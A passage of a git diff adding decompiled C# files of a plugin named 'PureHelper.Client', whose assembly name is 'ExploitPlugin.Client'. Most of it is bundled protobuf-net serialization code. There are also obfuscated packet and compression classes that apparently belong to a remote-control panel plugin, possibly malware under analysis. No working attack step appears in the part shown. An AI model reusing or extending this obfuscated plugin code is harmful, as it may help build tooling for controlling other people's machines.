(writer == null) + { + throw new ArgumentNullException("writer"); + } + if (writer.wireType != WireType.None) + { + throw CreateException(writer); + } + int num = (int)token.value64; + if (writer.depth <= 0) + { + throw CreateException(writer); + } + if (writer.depth-- > 25) + { + writer.PopRecursionStack(); + } + writer.packedFieldNumber = 0; + if (num < 0) + { + WriteHeaderCore(-num, WireType.EndGroup, writer); + writer.wireType = WireType.None; + return; + } + switch (style) + { + case PrefixStyle.Fixed32: + { + int num2 = writer.ioIndex - num - 4; + WriteInt32ToBuffer(num2, writer.ioBuffer, num); + break; + } + case PrefixStyle.Fixed32BigEndian: + { + int num2 = writer.ioIndex - num - 4; + byte[] array2 = writer.ioBuffer; + WriteInt32ToBuffer(num2, array2, num); + byte b = array2[num]; + array2[num] = array2[num + 3]; + array2[num + 3] = b; + b = array2[num + 1]; + array2[num + 1] = array2[num + 2]; + array2[num + 2] = b; + break; + } + case PrefixStyle.Base128: + { + int num2 = writer.ioIndex - num - 1; + int num3 = 0; + uint num4 = (uint)num2; + while ((num4 >>= 7) != 0) + { + num3++; + } + if (num3 == 0) + { + writer.ioBuffer[num] = (byte)(num2 & 0x7F); + break; + } + DemandSpace(num3, writer); + byte[] array = writer.ioBuffer; + Buffer.BlockCopy(array, num + 1, array, num + 1 + num3, num2); + num4 = (uint)num2; + do + { + array[num++] = (byte)((num4 & 0x7F) | 0x80); + } + while ((num4 >>= 7) != 0); + array[num - 1] = (byte)(array[num - 1] & -129); + writer.position64 += num3; + writer.ioIndex += num3; + break; + } + default: + throw new ArgumentOutOfRangeException("style"); + } + if (--writer.flushLock == 0 && writer.ioIndex >= 1024) + { + Flush(writer); + } + } + + public static ProtoWriter Create(Stream dest, TypeModel model, SerializationContext context = null) + { + return new ProtoWriter(dest, model, context); + } + + [Obsolete("Please use ProtoWriter.Create; this API may be removed in a future version", false)] + public ProtoWriter(Stream dest, TypeModel model, SerializationContext context) + { + if (dest == null) + { + throw new ArgumentNullException("dest"); + } + if (!dest.CanWrite) + { + throw new ArgumentException("Cannot write to stream", "dest"); + } + this.dest = dest; + ioBuffer = BufferPool.GetBuffer(); + this.model = model; + wireType = WireType.None; + if (context == null) + { + context = SerializationContext.Default; + } + else + { + context.Freeze(); + } + this.context = context; + } + + void IDisposable.Dispose() + { + Dispose(); + } + + private void Dispose() + { + if (dest != null) + { + Flush(this); + dest = null; + } + model = null; + BufferPool.ReleaseBufferToPool(ref ioBuffer); + } + + internal static long GetLongPosition(ProtoWriter writer) + { + return writer.position64; + } + + internal static int GetPosition(ProtoWriter writer) + { + return checked((int)writer.position64); + } + + private static void DemandSpace(int required, ProtoWriter writer) + { + if (writer.ioBuffer.Length - writer.ioIndex < required) + { + TryFlushOrResize(required, writer); + } + } + + private static void TryFlushOrResize(int required, ProtoWriter writer) + { + if (writer.flushLock == 0) + { + Flush(writer); + if (writer.ioBuffer.Length - writer.ioIndex >= required) + { + return; + } + } + BufferPool.ResizeAndFlushLeft(ref writer.ioBuffer, required + writer.ioIndex, 0, writer.ioIndex); + } + + public void Close() + { + if (depth != 0 || flushLock != 0) + { + throw new InvalidOperationException("Unable to close stream in an incomplete state"); + } + Dispose(); + } + + internal void CheckDepthFlushlock() + { + if (depth != 0 || flushLock != 0) + { + throw new InvalidOperationException("The writer is in an incomplete state"); + } + } + + internal static void Flush(ProtoWriter writer) + { + if (writer.flushLock == 0 && writer.ioIndex != 0) + { + writer.dest.Write(writer.ioBuffer, 0, writer.ioIndex); + writer.ioIndex = 0; + } + } + + private static void WriteUInt32Variant(uint value, ProtoWriter writer) + { + DemandSpace(5, writer); + int num = 0; + do + { + writer.ioBuffer[writer.ioIndex++] = (byte)((value & 0x7F) | 0x80); + num++; + } + while ((value >>= 7) != 0); + writer.ioBuffer[writer.ioIndex - 1] &= 127; + writer.position64 += num; + } + + internal static uint Zig(int value) + { + return (uint)((value << 1) ^ (value >> 31)); + } + + internal static ulong Zig(long value) + { + return (ulong)((value << 1) ^ (value >> 63)); + } + + private static void WriteUInt64Variant(ulong value, ProtoWriter writer) + { + DemandSpace(10, writer); + int num = 0; + do + { + writer.ioBuffer[writer.ioIndex++] = (byte)((value & 0x7F) | 0x80); + num++; + } + while ((value >>= 7) != 0L); + writer.ioBuffer[writer.ioIndex - 1] &= 127; + writer.position64 += num; + } + + public static void WriteString(string value, ProtoWriter writer) + { + if (writer == null) + { + throw new ArgumentNullException("writer"); + } + if (writer.wireType != WireType.String) + { + throw CreateException(writer); + } + if (value == null) + { + throw new ArgumentNullException("value"); + } + if (value.Length == 0) + { + WriteUInt32Variant(0u, writer); + writer.wireType = WireType.None; + return; + } + int byteCount = encoding.GetByteCount(value); + WriteUInt32Variant((uint)byteCount, writer); + DemandSpace(byteCount, writer); + int bytes = encoding.GetBytes(value, 0, value.Length, writer.ioBuffer, writer.ioIndex); + IncrementedAndReset(bytes, writer); + } + + public static void WriteUInt64(ulong value, ProtoWriter writer) + { + if (writer == null) + { + throw new ArgumentNullException("writer"); + } + switch (writer.wireType) + { + case WireType.Fixed64: + WriteInt64((long)value, writer); + break; + case WireType.Variant: + WriteUInt64Variant(value, writer); + writer.wireType = WireType.None; + break; + case WireType.Fixed32: + WriteUInt32(checked((uint)value), writer); + break; + default: + throw CreateException(writer); + } + } + + public static void WriteInt64(long value, ProtoWriter writer) + { + if (writer == null) + { + throw new ArgumentNullException("writer"); + } + switch (writer.wireType) + { + case WireType.Fixed64: + { + DemandSpace(8, writer); + byte[] array = writer.ioBuffer; + int num = writer.ioIndex; + array[num] = (byte)value; + array[num + 1] = (byte)(value >> 8); + array[num + 2] = (byte)(value >> 16); + array[num + 3] = (byte)(value >> 24); + array[num + 4] = (byte)(value >> 32); + array[num + 5] = (byte)(value >> 40); + array[num + 6] = (byte)(value >> 48); + array[num + 7] = (byte)(value >> 56); + IncrementedAndReset(8, writer); + break; + } + case WireType.SignedVariant: + WriteUInt64Variant(Zig(value), writer); + writer.wireType = WireType.None; + break; + case WireType.Variant: + { + if (value >= 0) + { + WriteUInt64Variant((ulong)value, writer); + writer.wireType = WireType.None; + break; + } + DemandSpace(10, writer); + byte[] array = writer.ioBuffer; + int num = writer.ioIndex; + array[num] = (byte)(value | 0x80); + array[num + 1] = (byte)((int)(value >> 7) | 0x80); + array[num + 2] = (byte)((int)(value >> 14) | 0x80); + array[num + 3] = (byte)((int)(value >> 21) | 0x80); + array[num + 4] = (byte)((int)(value >> 28) | 0x80); + array[num + 5] = (byte)((int)(value >> 35) | 0x80); + array[num + 6] = (byte)((int)(value >> 42) | 0x80); + array[num + 7] = (byte)((int)(value >> 49) | 0x80); + array[num + 8] = (byte)((int)(value >> 56) | 0x80); + array[num + 9] = 1; + IncrementedAndReset(10, writer); + break; + } + case WireType.Fixed32: + WriteInt32(checked((int)value), writer); + break; + default: + throw CreateException(writer); + } + } + + public static void WriteUInt32(uint value, ProtoWriter writer) + { + if (writer == null) + { + throw new ArgumentNullException("writer"); + } + switch (writer.wireType) + { + case WireType.Fixed32: + WriteInt32((int)value, writer); + break; + case WireType.Fixed64: + WriteInt64((int)value, writer); + break; + case WireType.Variant: + WriteUInt32Variant(value, writer); + writer.wireType = WireType.None; + break; + default: + throw CreateException(writer); + } + } + + public static void WriteInt16(short value, ProtoWriter writer) + { + WriteInt32(value, writer); + } + + public static void WriteUInt16(ushort value, ProtoWriter writer) + { + WriteUInt32(value, writer); + } + + public static void WriteByte(byte value, ProtoWriter writer) + { + WriteUInt32(value, writer); + } + + public static void WriteSByte(sbyte value, ProtoWriter writer) + { + WriteInt32(value, writer); + } + + private static void WriteInt32ToBuffer(int value, byte[] buffer, int index) + { + buffer[index] = (byte)value; + buffer[index + 1] = (byte)(value >> 8); + buffer[index + 2] = (byte)(value >> 16); + buffer[index + 3] = (byte)(value >> 24); + } + + public static void WriteInt32(int value, ProtoWriter writer) + { + if (writer == null) + { + throw new ArgumentNullException("writer"); + } + switch (writer.wireType) + { + case WireType.Fixed32: + DemandSpace(4, writer); + WriteInt32ToBuffer(value, writer.ioBuffer, writer.ioIndex); + IncrementedAndReset(4, writer); + break; + case WireType.Fixed64: + { + DemandSpace(8, writer); + byte[] array = writer.ioBuffer; + int num = writer.ioIndex; + array[num] = (byte)value; + array[num + 1] = (byte)(value >> 8); + array[num + 2] = (byte)(value >> 16); + array[num + 3] = (byte)(value >> 24); + array[num + 4] = (array[num + 5] = (array[num + 6] = (array[num + 7] = 0))); + IncrementedAndReset(8, writer); + break; + } + case WireType.SignedVariant: + WriteUInt32Variant(Zig(value), writer); + writer.wireType = WireType.None; + break; + case WireType.Variant: + { + if (value >= 0) + { + WriteUInt32Variant((uint)value, writer); + writer.wireType = WireType.None; + break; + } + DemandSpace(10, writer); + byte[] array = writer.ioBuffer; + int num = writer.ioIndex; + array[num] = (byte)(value | 0x80); + array[num + 1] = (byte)((value >> 7) | 0x80); + array[num + 2] = (byte)((value >> 14) | 0x80); + array[num + 3] = (byte)((value >> 21) | 0x80); + array[num + 4] = (byte)((value >> 28) | 0x80); + byte[] array2 = array; + int num2 = num + 5; + byte[] array3 = array; + int num3 = num + 6; + byte[] array4 = array; + int num4 = num + 7; + byte b; + array[num + 8] = (b = byte.MaxValue); + array2[num2] = (array3[num3] = (array4[num4] = b)); + array[num + 9] = 1; + IncrementedAndReset(10, writer); + break; + } + default: + throw CreateException(writer); + } + } + + public unsafe static void WriteDouble(double value, ProtoWriter writer) + { + if (writer == null) + { + throw new ArgumentNullException("writer"); + } + switch (writer.wireType) + { + case WireType.Fixed32: + { + float num = (float)value; + if (float.IsInfinity(num) && !double.IsInfinity(value)) + { + throw new OverflowException(); + } + WriteSingle(num, writer); + break; + } + case WireType.Fixed64: + WriteInt64(*(long*)(&value), writer); + break; + default: + throw CreateException(writer); + } + } + + public unsafe static void WriteSingle(float value, ProtoWriter writer) + { + if (writer == null) + { + throw new ArgumentNullException("writer"); + } + switch (writer.wireType) + { + case WireType.Fixed32: + WriteInt32(*(int*)(&value), writer); + break; + case WireType.Fixed64: + WriteDouble(value, writer); + break; + default: + throw CreateException(writer); + } + } + + public static void ThrowEnumException(ProtoWriter writer, object enumValue) + { + if (writer == null) + { + throw new ArgumentNullException("writer"); + } + string text = ((enumValue == null) ? "" : (enumValue.GetType().FullName + "." + enumValue.ToString())); + throw new ProtoException("No wire-value is mapped to the enum " + text + " at position " + writer.position64); + } + + internal static Exception CreateException(ProtoWriter writer) + { + if (writer == null) + { + throw new ArgumentNullException("writer"); + } + return new ProtoException("Invalid serialization operation with wire-type " + writer.wireType.ToString() + " at position " + writer.position64); + } + + public static void WriteBoolean(bool value, ProtoWriter writer) + { + WriteUInt32(value ? 1u : 0u, writer); + } + + public static void AppendExtensionData(IExtensible instance, ProtoWriter writer) + { + if (instance == null) + { + throw new ArgumentNullException("instance"); + } + if (writer == null) + { + throw new ArgumentNullException("writer"); + } + if (writer.wireType != WireType.None) + { + throw CreateException(writer); + } + IExtension extensionObject = instance.GetExtensionObject(createIfMissing: false); + if (extensionObject != null) + { + Stream stream = extensionObject.BeginQuery(); + try + { + CopyRawFromStream(stream, writer); + } + finally + { + extensionObject.EndQuery(stream); + } + } + } + + public static void SetPackedField(int fieldNumber, ProtoWriter writer) + { + if (fieldNumber <= 0) + { + throw new ArgumentOutOfRangeException("fieldNumber"); + } + if (writer == null) + { + throw new ArgumentNullException("writer"); + } + writer.packedFieldNumber = fieldNumber; + } + + public static void ClearPackedField(int fieldNumber, ProtoWriter writer) + { + if (fieldNumber != writer.packedFieldNumber) + { + throw new InvalidOperationException("Field mismatch during packed encoding; expected " + writer.packedFieldNumber + " but received " + fieldNumber); + } + writer.packedFieldNumber = 0; + } + + public static void WritePackedPrefix(int elementCount, WireType wireType, ProtoWriter writer) + { + if (writer.WireType != WireType.String) + { + throw new InvalidOperationException("Invalid wire-type: " + writer.WireType); + } + if (elementCount < 0) + { + throw new ArgumentOutOfRangeException("elementCount"); + } + WriteUInt64Variant(wireType switch + { + WireType.Fixed32 => (ulong)((long)elementCount << 2), + WireType.Fixed64 => (ulong)((long)elementCount << 3), + _ => throw new ArgumentOutOfRangeException("wireType", "Invalid wire-type: " + wireType), + }, writer); + writer.wireType = WireType.None; + } + + internal string SerializeType(Type type) + { + return TypeModel.SerializeType(model, type); + } + + public void SetRootObject(object value) + { + NetCache.SetKeyedObject(0, value); + } + + public static void WriteType(Type value, ProtoWriter writer) + { + if (writer == null) + { + throw new ArgumentNullException("writer"); + } + WriteString(writer.SerializeType(value), writer); + } +} diff --git a/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/SerializationContext.cs b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/SerializationContext.cs new file mode 100644 index 0000000..27ce07e --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/SerializationContext.cs @@ -0,0 +1,85 @@ +using System; +using System.Runtime.Serialization; + +namespace ProtoBuf; + +public sealed class SerializationContext +{ + private bool frozen; + + private object context; + + private static readonly SerializationContext @default; + + private StreamingContextStates state = StreamingContextStates.Persistence; + + public object Context + { + get + { + return context; + } + set + { + if (context != value) + { + ThrowIfFrozen(); + context = value; + } + } + } + + internal static SerializationContext Default => @default; + + public StreamingContextStates State + { + get + { + return state; + } + set + { + if (state != value) + { + ThrowIfFrozen(); + state = value; + } + } + } + + internal void Freeze() + { + frozen = true; + } + + private void ThrowIfFrozen() + { + if (frozen) + { + throw new InvalidOperationException("The serialization-context cannot be changed once it is in use"); + } + } + + static SerializationContext() + { + @default = new SerializationContext(); + @default.Freeze(); + } + + public static implicit operator StreamingContext(SerializationContext ctx) + { + if (ctx == null) + { + return new StreamingContext(StreamingContextStates.Persistence); + } + return new StreamingContext(ctx.state, ctx.context); + } + + public static implicit operator SerializationContext(StreamingContext ctx) + { + SerializationContext serializationContext = new SerializationContext(); + serializationContext.Context = ctx.Context; + serializationContext.State = ctx.State; + return serializationContext; + } +} diff --git a/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/Serializer.cs b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/Serializer.cs new file mode 100644 index 0000000..7be9228 --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/Serializer.cs @@ -0,0 +1,306 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Runtime.Serialization; +using System.Xml; +using System.Xml.Serialization; +using ProtoBuf.Meta; + +namespace ProtoBuf; + +public static class Serializer +{ + public static class NonGeneric + { + public static object DeepClone(object instance) + { + if (instance != null) + { + return RuntimeTypeModel.Default.DeepClone(instance); + } + return null; + } + + public static void Serialize(Stream dest, object instance) + { + if (instance != null) + { + RuntimeTypeModel.Default.Serialize(dest, instance); + } + } + + public static object Deserialize(Type type, Stream source) + { + return RuntimeTypeModel.Default.Deserialize(source, null, type); + } + + public static object Merge(Stream source, object instance) + { + if (instance == null) + { + throw new ArgumentNullException("instance"); + } + return RuntimeTypeModel.Default.Deserialize(source, instance, instance.GetType(), null); + } + + public static void SerializeWithLengthPrefix(Stream destination, object instance, PrefixStyle style, int fieldNumber) + { + if (instance == null) + { + throw new ArgumentNullException("instance"); + } + RuntimeTypeModel runtimeTypeModel = RuntimeTypeModel.Default; + runtimeTypeModel.SerializeWithLengthPrefix(destination, instance, runtimeTypeModel.MapType(instance.GetType()), style, fieldNumber); + } + + public static bool TryDeserializeWithLengthPrefix(Stream source, PrefixStyle style, TypeResolver resolver, out object value) + { + value = RuntimeTypeModel.Default.DeserializeWithLengthPrefix(source, null, null, style, 0, resolver); + return value != null; + } + + public static bool CanSerialize(Type type) + { + return RuntimeTypeModel.Default.IsDefined(type); + } + + public static void PrepareSerializer(Type t) + { + RuntimeTypeModel runtimeTypeModel = RuntimeTypeModel.Default; + runtimeTypeModel[runtimeTypeModel.MapType(t)].CompileInPlace(); + } + } + + public static class GlobalOptions + { + [Obsolete("Please use RuntimeTypeModel.Default.InferTagFromNameDefault instead (or on a per-model basis)", false)] + public static bool InferTagFromName + { + get + { + return RuntimeTypeModel.Default.InferTagFromNameDefault; + } + set + { + RuntimeTypeModel.Default.InferTagFromNameDefault = value; + } + } + } + + public delegate Type TypeResolver(int fieldNumber); + + private const string ProtoBinaryField = "proto"; + + public const int ListItemTag = 1; + + public static string GetProto() + { + return GetProto(ProtoSyntax.Proto2); + } + + public static string GetProto(ProtoSyntax syntax) + { + return RuntimeTypeModel.Default.GetSchema(RuntimeTypeModel.Default.MapType(typeof(T)), syntax); + } + + public static T DeepClone(T instance) + { + if (instance != null) + { + return (T)RuntimeTypeModel.Default.DeepClone(instance); + } + return instance; + } + + public static T Merge(Stream source, T instance) + { + return (T)RuntimeTypeModel.Default.Deserialize(source, instance, typeof(T)); + } + + public static T Deserialize(Stream source) + { + return (T)RuntimeTypeModel.Default.Deserialize(source, null, typeof(T)); + } + + public static object Deserialize(Type type, Stream source) + { + return RuntimeTypeModel.Default.Deserialize(source, null, type); + } + + public static void Serialize(Stream destination, T instance) + { + if (instance != null) + { + RuntimeTypeModel.Default.Serialize(destination, instance); + } + } + + public static TTo ChangeType(TFrom instance) + { + using MemoryStream memoryStream = new MemoryStream(); + Serialize((Stream)memoryStream, instance); + memoryStream.Position = 0L; + return Deserialize(memoryStream); + } + + public static void Serialize(SerializationInfo info, T instance) where T : class, ISerializable + { + Serialize(info, new StreamingContext(StreamingContextStates.Persistence), instance); + } + + public static void Serialize(SerializationInfo info, StreamingContext context, T instance) where T : class, ISerializable + { + if (info == null) + { + throw new ArgumentNullException("info"); + } + if (instance == null) + { + throw new ArgumentNullException("instance"); + } + if ((object)instance.GetType() != typeof(T)) + { + throw new ArgumentException("Incorrect type", "instance"); + } + using MemoryStream memoryStream = new MemoryStream(); + RuntimeTypeModel.Default.Serialize(memoryStream, instance, context); + info.AddValue("proto", memoryStream.ToArray()); + } + + public static void Serialize(XmlWriter writer, T instance) where T : IXmlSerializable + { + if (writer == null) + { + throw new ArgumentNullException("writer"); + } + if (instance == null) + { + throw new ArgumentNullException("instance"); + } + using MemoryStream memoryStream = new MemoryStream(); + Serialize((Stream)memoryStream, instance); + writer.WriteBase64(Helpers.GetBuffer(memoryStream), 0, (int)memoryStream.Length); + } + + public static void Merge(XmlReader reader, T instance) where T : IXmlSerializable + { + //IL_0045: Unknown result type (might be due to invalid IL or missing references) + //IL_004b: Invalid comparison between Unknown and I4 + if (reader == null) + { + throw new ArgumentNullException("reader"); + } + if (instance == null) + { + throw new ArgumentNullException("instance"); + } + byte[] array = new byte[4096]; + using MemoryStream memoryStream = new MemoryStream(); + int depth = reader.Depth; + while (reader.Read() && reader.Depth > depth) + { + if ((int)reader.NodeType == 3) + { + int count; + while ((count = reader.ReadContentAsBase64(array, 0, 4096)) > 0) + { + memoryStream.Write(array, 0, count); + } + if (reader.Depth <= depth) + { + break; + } + } + } + memoryStream.Position = 0L; + Merge((Stream)memoryStream, instance); + } + + public static void Merge(SerializationInfo info, T instance) where T : class, ISerializable + { + Merge(info, new StreamingContext(StreamingContextStates.Persistence), instance); + } + + public static void Merge(SerializationInfo info, StreamingContext context, T instance) where T : class, ISerializable + { + if (info == null) + { + throw new ArgumentNullException("info"); + } + if (instance == null) + { + throw new ArgumentNullException("instance"); + } + if ((object)instance.GetType() != typeof(T)) + { + throw new ArgumentException("Incorrect type", "instance"); + } + byte[] buffer = (byte[])info.GetValue("proto", typeof(byte[])); + using MemoryStream source = new MemoryStream(buffer); + T val = (T)RuntimeTypeModel.Default.Deserialize(source, instance, typeof(T), context); + if (val != instance) + { + throw new ProtoException("Deserialization changed the instance; cannot succeed."); + } + } + + public static void PrepareSerializer() + { + NonGeneric.PrepareSerializer(typeof(T)); + } + + public static IFormatter CreateFormatter() + { + return RuntimeTypeModel.Default.CreateFormatter(typeof(T)); + } + + public static IEnumerable DeserializeItems(Stream source, PrefixStyle style, int fieldNumber) + { + return RuntimeTypeModel.Default.DeserializeItems(source, style, fieldNumber); + } + + public static T DeserializeWithLengthPrefix(Stream source, PrefixStyle style) + { + return DeserializeWithLengthPrefix(source, style, 0); + } + + public static T DeserializeWithLengthPrefix(Stream source, PrefixStyle style, int fieldNumber) + { + RuntimeTypeModel runtimeTypeModel = RuntimeTypeModel.Default; + return (T)runtimeTypeModel.DeserializeWithLengthPrefix(source, null, runtimeTypeModel.MapType(typeof(T)), style, fieldNumber); + } + + public static T MergeWithLengthPrefix(Stream source, T instance, PrefixStyle style) + { + RuntimeTypeModel runtimeTypeModel = RuntimeTypeModel.Default; + return (T)runtimeTypeModel.DeserializeWithLengthPrefix(source, instance, runtimeTypeModel.MapType(typeof(T)), style, 0); + } + + public static void SerializeWithLengthPrefix(Stream destination, T instance, PrefixStyle style) + { + SerializeWithLengthPrefix(destination, instance, style, 0); + } + + public static void SerializeWithLengthPrefix(Stream destination, T instance, PrefixStyle style, int fieldNumber) + { + RuntimeTypeModel runtimeTypeModel = RuntimeTypeModel.Default; + runtimeTypeModel.SerializeWithLengthPrefix(destination, instance, runtimeTypeModel.MapType(typeof(T)), style, fieldNumber); + } + + public static bool TryReadLengthPrefix(Stream source, PrefixStyle style, out int length) + { + length = ProtoReader.ReadLengthPrefix(source, expectHeader: false, style, out var _, out var bytesRead); + return bytesRead > 0; + } + + public static bool TryReadLengthPrefix(byte[] buffer, int index, int count, PrefixStyle style, out int length) + { + using Stream source = new MemoryStream(buffer, index, count); + return TryReadLengthPrefix(source, style, out length); + } + + public static void FlushPool() + { + BufferPool.Flush(); + } +} diff --git a/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/SubItemToken.cs b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/SubItemToken.cs new file mode 100644 index 0000000..b0c2a88 --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/SubItemToken.cs @@ -0,0 +1,16 @@ +namespace ProtoBuf; + +public readonly struct SubItemToken +{ + internal readonly long value64; + + internal SubItemToken(int value) + { + value64 = value; + } + + internal SubItemToken(long value) + { + value64 = value; + } +} diff --git a/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/TimeSpanScale.cs b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/TimeSpanScale.cs new file mode 100644 index 0000000..a1e2f6c --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/TimeSpanScale.cs @@ -0,0 +1,12 @@ +namespace ProtoBuf; + +internal enum TimeSpanScale +{ + Days = 0, + Hours = 1, + Minutes = 2, + Seconds = 3, + Milliseconds = 4, + Ticks = 5, + MinMax = 15 +} diff --git a/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/WireType.cs b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/WireType.cs new file mode 100644 index 0000000..8ffd062 --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/WireType.cs @@ -0,0 +1,13 @@ +namespace ProtoBuf; + +public enum WireType +{ + None = -1, + Variant = 0, + Fixed64 = 1, + String = 2, + StartGroup = 3, + EndGroup = 4, + Fixed32 = 5, + SignedVariant = 8 +} diff --git a/decompiled/PanelPlugins/PureHelper.Client/PureHelper.Client.csproj b/decompiled/PanelPlugins/PureHelper.Client/PureHelper.Client.csproj new file mode 100644 index 0000000..0694398 --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/PureHelper.Client.csproj @@ -0,0 +1,31 @@ + + + ExploitPlugin.Client + False + net48 + + + 14.0 + True + False + + + + + + + + + + + ../../../../../../../usr/local/share/dotnet/shared/Microsoft.NETCore.App/10.0.5/System.Core.dll + + + ../../../../../../../usr/local/share/dotnet/shared/Microsoft.NETCore.App/10.0.5/System.Xml.dll + + + + ../../../../../../../usr/local/share/dotnet/shared/Microsoft.NETCore.App/10.0.5/System.Runtime.Serialization.dll + + + \ No newline at end of file diff --git a/decompiled/PanelPlugins/PureHelper.Client/RYOllMitLk6uHdHcJkQ/bKDXOAiMg4AVxNIDo0h.cs b/decompiled/PanelPlugins/PureHelper.Client/RYOllMitLk6uHdHcJkQ/bKDXOAiMg4AVxNIDo0h.cs new file mode 100644 index 0000000..d8c1f89 --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/RYOllMitLk6uHdHcJkQ/bKDXOAiMg4AVxNIDo0h.cs @@ -0,0 +1,88 @@ +using System.Runtime.CompilerServices; +using PluginSDK.Interfaces; +using ProtoBuf; +using XW3iQq2AVWsC9kohc8a; + +namespace RYOllMitLk6uHdHcJkQ; + +[ProtoContract] +internal class bKDXOAiMg4AVxNIDo0h : IPacket +{ + [CompilerGenerated] + private string gsiiFOEEB5; + + private static object zuuZChL41OECgVbCZoN; + + [ProtoMember(1)] + public string B3SicWAOnr + { + [CompilerGenerated] + get + { + return gsiiFOEEB5; + } + [CompilerGenerated] + set + { + int num = 1; + do + { + int num2 = num; + while (true) + { + switch (num2) + { + case 0: + return; + case 1: + gsiiFOEEB5 = text; + num2 = 0; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_cf4d9648aee544a78a91bdb81022fbbb != 0) + { + num2 = 5; + } + continue; + } + break; + } + } + while (num == 989); + } + } + + public bKDXOAiMg4AVxNIDo0h() + { + NBKP5U21DpWjdkoBBdj.YtEk5Wl7Vq(); + base._002Ector(); + int num = 4; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_501ddf0930d6428bb18ddd3568b08e8e != 0) + { + num = 0; + } + int num2 = default(int); + while (true) + { + switch (num) + { + case 0: + return; + } + if (num2 == 988) + { + num = num2; + continue; + } + return; + } + } + + internal static bool ojDSYKLaZSi0aoInZNm() + { + return zuuZChL41OECgVbCZoN == null; + } + + internal static bKDXOAiMg4AVxNIDo0h z1ebPZLs7HuHLwYQ2dD() + { + return (bKDXOAiMg4AVxNIDo0h)zuuZChL41OECgVbCZoN; + } +} diff --git a/decompiled/PanelPlugins/PureHelper.Client/System.Diagnostics.CodeAnalysis/ExcludeFromCodeCoverageAttribute.cs b/decompiled/PanelPlugins/PureHelper.Client/System.Diagnostics.CodeAnalysis/ExcludeFromCodeCoverageAttribute.cs new file mode 100644 index 0000000..b7ed48c --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/System.Diagnostics.CodeAnalysis/ExcludeFromCodeCoverageAttribute.cs @@ -0,0 +1,6 @@ +namespace System.Diagnostics.CodeAnalysis; + +[AttributeUsage(AttributeTargets.Assembly | AttributeTargets.Class | AttributeTargets.Struct | AttributeTargets.Constructor | AttributeTargets.Method | AttributeTargets.Property | AttributeTargets.Event, AllowMultiple = false, Inherited = false)] +internal sealed class ExcludeFromCodeCoverageAttribute : Attribute +{ +} diff --git a/decompiled/PanelPlugins/PureHelper.Client/ThisAssembly.cs b/decompiled/PanelPlugins/PureHelper.Client/ThisAssembly.cs new file mode 100644 index 0000000..f776731 --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/ThisAssembly.cs @@ -0,0 +1,34 @@ +using System; +using System.CodeDom.Compiler; +using System.Diagnostics.CodeAnalysis; + +[GeneratedCode("Nerdbank.GitVersioning.Tasks", "3.5.119.9565")] +[ExcludeFromCodeCoverage] +internal static class ThisAssembly +{ + internal const string AssemblyConfiguration = "Release"; + + internal const string AssemblyFileVersion = "2.4.9.1"; + + internal const string AssemblyInformationalVersion = "2.4.9.1+f4bacb1a94"; + + internal const string AssemblyName = "protobuf-net"; + + internal const string AssemblyTitle = "protobuf-net"; + + internal const string AssemblyVersion = "2.4.0.0"; + + internal static readonly DateTime GitCommitDate = new DateTime(638747956890000000L, DateTimeKind.Utc); + + internal const string GitCommitId = "f4bacb1a94c86e2e47de93e1a4627e3c37fd88ed"; + + internal const bool IsPrerelease = false; + + internal const bool IsPublicRelease = true; + + internal const string PublicKey = "002400000480000094000000060200000024000052534131000400000100010009ed9caa457bfc205716c3d4e8b255a63ddf71c9e53b1b5f574ab6ffdba11e80ab4b50be9c46d43b75206280070ddba67bd4c830f93f0317504a76ba6a48243c36d2590695991164592767a7bbc4453b34694e31e20815a096e4483605139a32a76ec2fef196507487329c12047bf6a68bca8ee9354155f4d01daf6eec5ff6bc"; + + internal const string PublicKeyToken = "257b51d87d2e4d67"; + + internal const string RootNamespace = "ProtoBuf"; +} diff --git a/decompiled/PanelPlugins/PureHelper.Client/WHtonEnRQ3TyPp1lZXF/Hs1p7bnIKthS4T2pSI7.cs b/decompiled/PanelPlugins/PureHelper.Client/WHtonEnRQ3TyPp1lZXF/Hs1p7bnIKthS4T2pSI7.cs new file mode 100644 index 0000000..48789b9 --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/WHtonEnRQ3TyPp1lZXF/Hs1p7bnIKthS4T2pSI7.cs @@ -0,0 +1,475 @@ +using System; +using System.IO; +using System.IO.Compression; + +namespace WHtonEnRQ3TyPp1lZXF; + +internal static class Hs1p7bnIKthS4T2pSI7 +{ + private static object Cy1fUaLehM5fqJW5Fvb; + + public static byte[] mXDnCAbl6k(object P_0) + { + int num = 1; + MemoryStream memoryStream = default(MemoryStream); + int num4 = default(int); + int num6 = default(int); + byte[] result = default(byte[]); + int num8 = default(int); + int num10 = default(int); + while (true) + { + int num2 = num; + while (true) + { + switch (num2) + { + default: + if (num == 990) + { + goto end_IL_0003; + } + goto case 1; + case 0: + try + { + GZipStream gZipStream = new GZipStream(memoryStream, CompressionMode.Compress); + int num3 = 0; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_9187d16b686d4b2fa356c9c894103305 != 0) + { + num3 = 6; + } + while (true) + { + switch 